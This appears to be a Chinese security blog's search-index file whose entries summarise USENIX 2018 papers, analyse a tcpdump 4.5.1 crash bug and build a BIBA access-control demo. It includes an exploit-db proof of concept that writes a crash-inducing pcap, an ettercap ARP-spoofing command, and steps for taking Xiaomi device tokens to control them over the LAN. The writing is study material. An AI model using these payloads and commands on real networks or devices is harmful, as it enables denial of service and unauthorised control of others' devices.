<url > %2F2019%2F01%2F16%2Fwifi%E5%8D%8A%E5%8F%8C%E5%B7%A5%E4%BE%A7%E4%BF%A1%E9%81%93%E6%94%BB%E5%87%BB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2F</url>
<content type= "text" > < ![CDATA[TCP侧信道分析及利用的学习报告论文来源: USENIX SECURITY 2018: Off-Path TCP Exploit: How Wireless Routers Can Jeopardize Your Secrets下载: 原文pdf中文slides 背景知识测信道香农信息论 什么是信息? 用来减少随机不确定的东西 什么是加密? 类似于加噪声,增加随机不确定性 “从密码分析者来看,一个保密系统几乎就是一个通信系统。待传的消息是统计事件,加密所用的密钥按概率选出,加密结果为密报,这是分析者可以利用的,类似于受扰信号。” 侧信道随之出现 越过加密算法增加的随机不定性,从其他的渠道获取数据标签,确定信息内容。 早期:采集加密电子设备在运行过程中的时间消耗、功率消耗或者电磁辐射消耗等边缘信息的差异性 而随着研究的深入, 逐渐从加密设备延伸到计算机内部CPU、内存等之间的信息传递 并在Web应用交互信息传递越来越频繁时, 延伸到了网络加密数据流的破解方面 侧信道攻击的流程 第一个就是侧信道泄露的截取,第二个是信息的恢复。 网络攻击 中间人攻击 “指攻击者与通讯的两端分别创建独立的联系,并交换其所收到的数据,使通讯的两端认为他们正在通过一个私密的连接与对方直接对话,但事实上整个会话都被攻击者完全控制。” 公共wifi、路由器劫持 一般使用加密来防御 加密的代价:维护密钥证书、影响功能(运营商无法做缓存) 非中间人攻击/偏离路径攻击/off-path attack 通信线路之外,攻击者看不到双方的消息,没办法截获和发送通信包。智能伪造成一方给另一方发消息。 攻击成功需要:消息合法+最先到达 防御措施: challenge-response/询问-应答机制双方在通信前交换一个随机数,这个随机数在每次的通信中都要被附带,而中间人看不见这个随机数,因此伪造的消息被认为不合法。 攻击者如何得到这个随机数:侧信道 TCP三次握手 客户端通过向服务器端发送一个SYN来创建一个主动打开, 作为三路握手的一部分。客户端把这段连接的序号设定为随机数A。 服务器端应当为一个合法的SYN回送一个SYN/ACK。ACK的确认码应为A+1, SYN/ACK包本身又有一个随机产生的序号B。 最后, 客户端再发送一个ACK。当服务端收到这个ACK的时候, 就完成了三路握手, 并进入了连接创建状态。此时包的序号被设定为收到的确认号A+1, 而响应号则为B+1。 通过三次握手,确定对方不是非中间人 TCP序列号的问题 1985 1995 2001 2004 2007 2012 2012 2016 Morris Mitnik Zalewsky Waston kLM Herzberg 作者 作者 初始序列可预测 真实利用 漏洞仍在 BGP DoS Windows攻击 Puppet-assisted Malware-assisted off-path attack 90年代时发现并不随机: 1995年伪造客户端连接微软大楼的服务器 2007年在windows场景下用IDID侧信道猜出序列号: 只针对Windows, 花费几小时 Malware-assisted攻击模型: 给受害者安装一个无特权的应用程序( 仅能网络连接) , 这个程序跟非中间人的攻击者里应外合, 劫持手机上所有的TCP连接。 如何劫持TCP 需要的信息: Facebook的连接IP地址和端口号, 由此可以知道TCP连接的序列号, 利用序列号伪装成Facebook给手机发消息。使用netstat命令获取: 任务: 由于TCP的序列号通常连续, 所以要精确猜到它的下一个序列号。 如何验证序列号正确:通过某种侧信道,这个恶意软件在后台可以提供反馈。 变种一:防火墙攻击过程: TCP三次握手之后产生A和B, 将来传输的包序列号必须跟A和B很接近, 否则, 防火墙会丢弃这个包。因此只有猜对了序列号, 包才能到达手机端。到达手机端后, 后台的恶意软件可以帮助我们判断手机是否接受了这个数据包。 具体侧信道方案: CPU资源使用率( 噪音<E599AA>
2019-07-16 09:15:34 +00:00
<categories >
2019-08-08 13:39:50 +00:00
<category > 顶会论文</category>
2019-07-16 09:15:34 +00:00
</categories>
2019-08-08 13:39:50 +00:00
<tags >
<tag > 侧信道攻击</tag>
<tag > wifi</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[TCPDUMP拒绝服务攻击漏洞]]> </title>
<url > %2F2018%2F12%2F25%2FTCPDUMP%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%94%BB%E5%87%BB%E6%BC%8F%E6%B4%9E%2F</url>
<content type= "text" > < ![CDATA[TCPDUMP 4.5.1 拒绝服务攻击漏洞分析Tcpdump介绍 tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统: 包括Linux、Solaris、BSD、Mac OS X、HP-UX和AIX 等等。在这些系统中, tcpdump 需要使用libpcap这个捕捉数据的库。其在Windows下的版本称为WinDump; 它需要WinPcap驱动, 相当于在Linux平台下的libpcap. tcpdump能够分析网络行为, 性能和应用产生或接收网络流量。它支持针对网络层、协议、主机、网络或端口的过滤, 并提供and、or、not等逻辑语句来帮助你去掉无用的信息, 从而使用户能够进一步找出问题的根源。 也可以使用 tcpdump 的实现特定目的,例如在路由器和网关之间拦截并显示其他用户或计算机通信。通过 tcpdump 分析非加密的流量, 如Telnet或HTTP的数据包, 查看登录的用户名、密码、网址、正在浏览的网站内容, 或任何其他信息。因此系统中存在网络分析工具主要不是对本机安全的威胁, 而是对网络上的其他计算机的安全存在威胁。 分析环境 Ubuntu 16.04.4 LTS i686 tcpdump 4.5.1 gdb with peda 漏洞复现这个漏洞触发的原因是, tcpdump在处理特殊的pcap包的时候, 由于对数据包传输数据长度没有进行严格的控制, 导致在连续读取数据包中内容超过一定长度后, 会读取到无效的内存空间, 从而导致拒绝服务的发生。对于这个漏洞, 首先要对pcap包的结构进行一定的分析, 才能够最后分析出漏洞的成因, 下面对这个漏洞进行复现。 编译安装tcpdump12345678910111. # apt-get install libpcap-dev2. # dpkg -l libpcap-dev3. # wget https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz4. # tar -zxvf 973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz5. # cd tcpdump-4.5.1/6. # ./configure7. # make8. # make install9. # tcpdump – -version tcpdump version 4.5.1 libpcap version 1.7.4 生成payload( 来自exploit-db payload) 12345678910111213141516171819202122232425262728293031323334# Exploit Title: tcpdump 4.5.1 Access Violation Crash# Date: 31st May 2016# Exploit Author: David Silveiro# Vendor Homepage: http://www.tcpdump.org# Software Link: http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz# Version: 4.5.1# Tested on: Ubuntu 14 LTSfrom subprocess import callfrom shlex import splitfrom time import sleepdef crash(): command = ' tcpdump -r crash' buffer = ' \xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff' buffer += ' \x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00' buffer += ' \x00\x00\x00\x00\x00\x08\x00\x00\x00\x00< \x9c7@\xff\x00' buffer += ' \x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a' buffer += " \x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0& \x80\x18\' " buffer += " xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n' , ' \x00\x00\x00\x00" buffer += ' \x00\x00\x00\x00\x01\x03\x03\x04' with open(' crash' , ' w+b' ) as file: file.write(buffer) try: call(split(command)) print(" Exploit successful! " ) except: print(" Error: Something has gone wrong!" )def main(): print(" Author: David Silveiro " ) print(" tcpdump version 4.5.1 Access Violation Crash " ) sleep(2) crash()if __name__ == " __main__" : main() 崩溃分析pcap包格式首先来分析一下pcap包的格式, 首先是pcap文件头的内容, 在.h有所定义, 这里将结构体以及对应变量含义都列出来。123456789struct pcap_file_header { bpf_u_int32 magic; u_short version_major; u_short version_minor; bpf_int32 thiszone; /* gmt to local correction */ bpf_u_int32 sigfigs; /* accuracy of timestamps */ bpf_u_int32 snaplen; /* max length saved portion of each pkt */ bpf_u_int32 linktype; /* data link type (LINKTYPE_*) */} ; 看一下各
2019-07-16 09:15:34 +00:00
<categories >
2019-08-08 13:39:50 +00:00
<category > 二进制</category>
2019-07-16 09:15:34 +00:00
</categories>
2019-08-08 13:39:50 +00:00
<tags >
<tag > TCPDUMP</tag>
<tag > 拒绝服务攻击</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[基于采集规则引擎的物联网设备发现方法]]> </title>
<url > %2F2018%2F12%2F23%2F%E5%9F%BA%E4%BA%8E%E8%A7%84%E5%88%99%E5%BC%95%E6%93%8E%E5%8F%91%E7%8E%B0IOT%E8%AE%BE%E5%A4%87%2F</url>
<content type= "text" > < ![CDATA[论文来源: USENIX SECURITY 2018: Acquisitional Rule-based Engine for Discovering Internet-of-Things Devices下载: 原文pdf中文slides 论文解读概要: 物联网( IoT) 设备的快速增长的格局为其管理和安全性带来了重大的技术挑战, 因为这些物联网设备来自不同的设备类型, 供应商和产品模型。 物联网设备的发现是表征,监控和保护这些设备的先决条件。然而,手动设备注释阻碍了大规模发现,并且基于机器学习的设备分类需要具有标签的大型训练数据。因此,大规模的自动设备发现和注释仍然是物联网中的一个悬而未决的问题。 这篇文章提出了一种基于采集规则的引擎( ARE) , 它可以自动生成用于在没有任何训练数据的情况下发现和注释物联网设备的规则。ARE通过利用来自物联网设备的应用层响应数据和相关网站中的产品描述来构建设备规则, 以进行设备注释。我们将事务定义为对产品描述的唯一响应之间的映射。 为了收集交易集, ARE提取响应数据中的相关术语作为抓取网站的搜索查询。ARE使用关联算法以( 类型, 供应商和产品) 的形式生成物联网设备注释的规则。我们进行实验和三个应用程序来验证ARE的有效性。 背景与动机: 物联网蓬勃发展, 造就了物联网设备的广泛应用, 它不仅种类繁多, 包括摄像头、打印机、路由器、电视盒子、工控系统、医疗设备等, 而且数量庞大, 据统计, 每天就会新增5500000台物联网设备。 但是由于设备脆弱、缺乏管理和配置不当, 物联网设备相比传统计算机要更不安全, 比如之前爆发的Mirai僵尸网络, 给美国造成了重大的损失。因此, 为了更主动地保护IOT设备, 提前发现、登记和注释物联网设备成为先决条件。 设备注释的内容通常为“设备类型(e.g.,routers) + 供应商(e.g.,CISCO) + 产品型号(e.g.,TV-IP302P)”,传统生成设备注释的方法有基于指纹的,也有使用标志获取的,前者对数据集和大量设备模型的要求很高,而后者需要专业知识的人工方式,因此不可能用于大规模注释而且很难去维护更新。 所以, 作者希望提出一种减少对数据集和人工依赖的注释方式。本文的方法主要基于两个事实, 第一个Figure 1是制造商通常会将相关信息硬编码到IOT设备, 第二个Figure 2是有许多网站( 如产品测评) 会描述设备产品。从第一个事实, 我们可以从应用层数据包获取关键词, 然后根据这些关键词依据第二个事实进行网页爬虫, 以获取网页上的相关描述, 然后对这些描述进行自然语言处理和数据挖掘, 从而建立起基于规则的映射。 核心工作—Rule Miner: Rule Miner由三个部分构成, Transaction set是一对由应用层数据和相关网页组成的文本单元, 它生成了一种规则: , 其中A是从应用层数据包中提取的一些特征, B是从相关网页抓取的设备描述; Device entity recognition结合了基于语料库的NER和基于规则的NER(命名实体识别),前者解决了设备类型和供应商名,后者使用正则表达式识别出产品型号。但是由于一个不相干的网页也可能包含设备类型的关键词(如switch), 以及一个短语可能因为满足正则表达式而被认为是型号所以表现并不好, 但好在实体与实体之间具有很高的依赖性, 这三个元素常常一起出现。数据挖掘算法Apriori algorithm用于从Transaction中学习“关系”。 完整架构和应用 完整的ARE除了核心Rule Miner之外, 还有Transaction Collection用于收集响应数据和网络爬虫, Rule Library用于存储生成的规则, Planner用于更新规则。作者主要将ARE应用于三个方面, 一是互联网范围的设备测量统计, 二是对受损设备进行检测, 三是对易受攻击的设备进行分析。之后对AR
2019-07-16 09:15:34 +00:00
<categories >
2019-08-08 13:39:50 +00:00
<category > 顶会论文</category>
2019-07-16 09:15:34 +00:00
</categories>
2019-08-08 13:39:50 +00:00
<tags >
<tag > USENIX</tag>
<tag > 数据挖掘</tag>
<tag > 自然语言处理</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[利用miio控制局域网内的小米智能设备]]> </title>
<url > %2F2018%2F12%2F15%2Fmiio-control%2F</url>
<content type= "text" > <![CDATA[控制局域网内的IOT设备中间人攻击—流量分析使用Nmap分析局域网内设备, 得到智能设备的IP 小米智能插座: 192.168.31.197 网关: 192.168.31.147( 控制它的手机ip) ettercap嗅探智能设备和网关之间的流量sudo ettercap -i ens33 -T -q -M ARP:remote /192.168.31.197// /192.168.31.147// wireshark抓包分析从图中可以看出, 设备的命令控制包为UDP传输, 既然是UDP协议传输, 那么是否可以通过命令包重放攻击来对设备进行控制? 了解到在homeassistant中可实现对小米设备的集成, 并在其中对设备进行管理和操作。Homeassistant, 主要以Python语言开发, 既然它能操控小米设备, 那它底层肯定有相关的函数调用库。为了可以消除对专有软件(米家app)的依赖, 并能控制自己的设备, 所以出现了MiIo。设备和米家app在同一局域网下使用的加密专有网络协议我们称之为MiIo协议。Miio库支持的设备有: 小米IOT控制流程在同一局域网中, 小米设备可以使用专有的加密UDP网络协议进行通信控制。在网络可达的前提下, 向小米设备发送hello bytes就可以获得含有token的结构体数据。之后, 构造相应的结构体, 并且以同样的方式发送给设备即可完成控制。具体流程如下: 设备Token的获取方式小米设备的token获取有三种途径: miio获取、从米家app获取、从数据库获取 miio获取在ubuntu下, 先安装miio, 然后发现设备: npminstall -g miiomiiodiscover但是很可惜, 很多设备隐藏了token, 使用该方法可能无法获取到token或获取到的token不正确。 米家app获取这种方法需要的mijia app版本较老, 且只对部分设备有效。 从数据库获取token这种方法仅在Mi Home 5.0.19之前的版本可用。该方法是读取手机中米家的app中的数据记录来获取设备的token, 具体步骤如下: 准备一部获取root权限的安卓手机 安装米家app并登录账号 进入/data/data/com.xiaomi.smarthome/databases/ 拷贝db, 下载到电脑 前往网站, 上传db, 点击提交, 即可获得token。 8894c73cbd5c7224fb4b8a39e360c255 脚本控制IOT设备首先随意发送hellobytes获得时间和设备ID, token我们自己设置; 然后构造发送的数据结构msg, cmd中的method包括: set_power(控制开关)、get_prop(获取状态), 控制的params是[‘ on’ ]/ [‘ off’ ], 获取状态的params是[‘ power’ , ‘ temperature’ ]如果获得了token, 就能对小米的设备进行操作, 如图下面是返回的信息。 总结从目前的智能家居市场来看, 用户不会只使用单个智能设备厂商的设备, 所以对于厂商来说, 通过开放接口给用户一些局域网的控制“自由”, 实现不同厂商设备的联动是一个不错的选择。从另外一个角度, 本文中体现的安全问题我们也不容忽视。如果在局域网中不经过认证就能获取物联网设备的访问凭证, 并进而进行控制, 无形中给入侵者留了一扇门。例如, 攻击者可经过扫描互联网发现家庭路由器, 并利用弱口令或设备漏洞获得路由器的shell权限, 接下来就可按照文中步骤就可以获得设备token进而控制。好在小米已经在最新的miio版本中修复了这一漏洞, 大大提高了攻击者获取token的难度。]]> </content>
2019-07-16 09:15:34 +00:00
<categories >
2019-08-08 13:39:50 +00:00
<category > IOT</category>
2019-07-16 09:15:34 +00:00
</categories>
2019-08-08 13:39:50 +00:00
<tags >
<tag > 小米</tag>
<tag > miio</tag>
<tag > 中间人</tag>
<tag > 重放攻击</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[利用python实现BIBA模型]]> </title>
<url > %2F2018%2F11%2F16%2FBIBA%E8%AE%BF%E9%97%AE%E6%8E%A7%E5%88%B6%E6%A8%A1%E5%9E%8B%E5%AE%9E%E7%8E%B0(python)%2F</url>
<content type= "text" > < ![CDATA[基于python语言的BIBA模型图形界面实现实验目的: 查阅资料, 了解biba安全模型的相关知识 通过编程实现基于biba模型的完整性访问控制, 进一步掌握biba模型的规则 使用python语言实现, 熟练pyqt的图形界面设计方法 实验环境: 操作系统: Windows10 工具版本: python3.7, pyqt5 实验原理:什么是安全模型 系统的元素 具有行为能力的主体不具有行为能力的客体 系统的操作行为 可以执行的命令:读、写、执行 对系统行为的约束方式 对行为的控制策略 模型从抽象层次规定了系统行为和约束行为的方式 模型往往用状态来表示 系统行为所依赖的环境行为对系统产生的效果 biba完整性模型: 完整性威胁问题 完整性的威胁就是一个子系统在初始时刻认为不正常的修改行为;来源:内部& 外部;类型:直接& 间接 外部的直接 外部的间接 内部的直接 内部的间接 外部系统恶意地篡改另一个系统的数据或程序 一个外部系统插入恶意的子程序 修改自己的代码 修改自己的指针 biba模型的完整性定义 完整性级别高的实体对完整性低的实体具有完全的支配性,反之如果一个实体对另一个实体具有完全的控制权,说明前者完整性级别更高,这里的实体既可以是主体也可以是客体。完整性级别和可信度有密切的关系,完整级别越高,意味着可信度越高。 biba模型的规则 对于写和执行操作,有如下规则: 写规则控制当且仅当主体S的完整性级别大于或等于客体O的完整性级别时, 主体S可以写客体O,一般称之为上写。执行操作控制当且仅当主体S2的完整性级别高于或等于S1,主体S1可以执行主体S2。 关于读操作,有不同的控制策略: 低水标模型任意主体可以读任意完整性级别的客体,但是如果主体读完整性级别比自己低的客体时,主体的完整性级别将为客体完整性级别,否则,主体的完整性级别保持不变。环模型不管完整性级别如何,任何主体都可以读任何客体严格完整性模型这个模型对读操作是根据主客体的完整性级别严格控制的,即只有完整性级别低或相等的主体才可以读完整性级别高的客体,称为下读 一般都是指毕巴严格完整性模型,总结来说是上写、下读 实验内容:用户登录实现核对用户输入的账户密码与存储的是否匹配 从用户输入框获取账户和密码 检查输入信息是否合法(为空) 从password.txt中获取, 并保存在列表listFromLine中 检查输入的账户是否存在 若存在,检查对应的密码是否正确 若正确,判断是管理员还是普通用户,并跳转相应的界面 1234567891011121314151617181920212223242526272829303132333435363738394041424344def checkPass(self): nameIn = self.lineEdit.text() passwdIn = self.lineEdit_2.text() md5 = hashlib.md5() md5.update(passwdIn.encode("utf-8")) passwdIn = md5.hexdigest() if (nameIn == '') or (passwdIn == ''): QMessageBox.warning(self, "警告", "账号和密码不能为空", QMessageBox.Yes) self.lineEdit.setFocus() print(nameIn, passwdIn) fr = open('./etc/passwd.txt') arrayofLines = fr.readlines() numberofLines = len(arrayofLines) for line in arrayofLines: line = line.strip() listFromLine = line.split(':') name = listFromLine[0] if name == nameIn: numberofLines = -1 passwd = listFromLine[1] if passwd == passwdIn: group = listFromLine[2] print("\n登录成功!\n") if name == 'root': print('root登录') rootUI.show() MainWindow.close() else: urName = nameIn mainUI.lineEdit.setText(urName) mainUI.lineEdit_2.setText(group) mainUI.show() MainWindow.close() else: QMessageBox.warning(self, "警告", "密码错误!", QMessageBox.Yes) self.lineEdit.setFocus() fr.close() return 0 管理员功能实现管理员可以对用户进行增、删、查的操作 增加用户的实现 获取管理员输入的用户名、密码和用户
2019-07-16 09:15:34 +00:00
<categories >
2019-08-08 13:39:50 +00:00
<category > 理论学习</category>
2019-07-16 09:15:34 +00:00
</categories>
2019-08-08 13:39:50 +00:00
<tags >
<tag > 模型实现</tag>
<tag > python</tag>
<tag > 访问控制</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[Hello World]]> </title>
<url > %2F2000%2F01%2F01%2Fhello-world%2F</url>
<content type= "text" > <![CDATA[你好!我是混元霹雳手]]> </content>
</entry>
2019-04-15 07:42:42 +00:00
</search>